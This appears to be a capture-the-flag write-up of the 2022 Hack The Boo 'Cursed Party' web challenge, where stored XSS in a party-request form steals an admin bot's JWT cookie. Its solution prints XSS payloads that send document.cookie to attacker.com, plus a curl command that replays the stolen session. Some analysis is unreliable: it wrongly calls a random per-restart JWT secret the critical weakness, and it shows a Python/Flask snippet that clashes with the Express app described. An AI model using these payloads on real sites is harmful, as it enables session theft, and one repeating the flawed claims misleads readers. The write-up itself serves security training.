2022 Hack The Boo: Cursed Party
Challenge Information
| Attribute | Details |
|---|---|
| Event | 2022 Hack The Boo |
| Category | Web |
| Challenge | Cursed Party |
Summary
This web challenge features a party registration application with an admin dashboard. The vulnerability chain involves XSS injection through party request fields, which are then rendered on the admin panel. A bot visits the admin dashboard with a valid JWT token containing the flag, allowing attackers to steal the admin session cookie via XSS and access the flag through the authenticated dashboard.
Analysis
Application Structure
The application uses:
- Framework: Express.js with Nunjucks templating
- Authentication: JWT-based session management via cookies
- Database: SQLite storing party requests
- Automation: Puppeteer bot that visits admin panel after form submissions
Key Components
JWTHelper (Cryptographic Weakness):
const jwt = require('jsonwebtoken');const crypto = require('crypto');const APP_SECRET = crypto.randomBytes(69).toString('hex');
module.exports = { sign(data) { data = Object.assign(data); return (jwt.sign(data, APP_SECRET, { algorithm:'HS256' })) }, async verify(token) { return (jwt.verify(token, APP_SECRET, { algorithm:'HS256' })); }}The secret is randomly generated per server restart - this is the critical weakness.
Bot Implementation:
const visit = async () => { const browser = await puppeteer.launch(browser_options); let context = await browser.createIncognitoBrowserContext(); let page = await context.newPage();
let token = await JWTHelper.sign({ username: 'admin', user_role: 'admin', flag: flag }); await page.setCookie({ name: 'session', value: token, domain: '127.0.0.1:1337' });
await page.goto('http://127.0.0.1:1337/admin', { waitUntil: 'networkidle2', timeout: 5000 }); // ... continues to /admin/delete_all};The bot signs in with admin privileges and visits /admin, which renders admin.html with the party requests data.
Database Schema:
CREATE TABLE party_requests( id INTEGER PRIMARY KEY AUTOINCREMENT, halloween_name VARCHAR(255) NOT NULL, email VARCHAR(255) NOT NULL, costume_type VARCHAR(255) NOT NULL, trick_or_treat VARCHAR(20) NOT NULL)No input sanitization or parameterization on values.
Admin Route:
router.get('/admin', AuthMiddleware, (req, res) => { if (req.user.user_role !== 'admin') { return res.status(401).send(message('Unautorized!')); }
return db.get_party_requests() .then((data) => { res.render('admin.html', { requests: data }); });});The template likely uses Nunjucks autoescape: true but might render user-controlled data unsafely.
Solution
Attack Vector: XSS → Session Theft
- Craft XSS Payload: Submit a party request with XSS in one of the fields (halloween_name, email, costume_type, or trick_or_treat):
{ "halloween_name": "<img src=x onerror=\"fetch('http://attacker.com/?cookie='+document.cookie)\">", "email": "test@example.com", "costume_type": "Ghost", "trick_or_treat": "Treat"}Or use a more sophisticated payload to exfiltrate the JWT:
<script>new Image().src='http://attacker.com/steal?token='+document.cookie;</script>-
Bot Visits Admin Page: The bot visits
/adminwith the admin JWT token. The XSS payload executes in the bot’s browser context. -
Session Theft: The payload sends the admin’s session cookie (containing the JWT) to the attacker’s server.
-
Access Flag: Use the stolen JWT to:
curl -b "session=<stolen_jwt>" http://target/adminThe page renders with access to the flag, which is displayed on the dashboard via:
return render_template('dashboard.html', flag=current_app.config['FLAG'], user=current_user.get('username'))Implementation Details
The attack succeeds because:
- No Input Validation: Party request fields accept arbitrary input
- Unsafe Rendering: Admin template renders user-controlled data without proper escaping
- Bot Automation: Puppeteer bot with valid credentials visits the page, executing the XSS
- Session in Cookie: JWT is stored in an HTTP-accessible cookie, allowing JavaScript access
Key Takeaways
- Input Sanitization is Critical: Always sanitize user input, especially in fields that will be displayed to other users
- Use Content Security Policy (CSP): While present, the CSP here may have bypasses or be insufficient
- HTTPOnly Cookies: Authentication tokens should use the
HTTPOnlyflag to prevent JavaScript access:res.cookie('session', token, { httpOnly: true, secure: true }); - Output Encoding: Ensure templating engines properly escape all user-controlled output
- Separate Secrets: Don’t regenerate JWT secrets on each restart - use a persistent secret file
- Session Expiration: Implement proper session timeouts to limit the window of exploitation
- Monitoring: Log and alert on admin panel access for security monitoring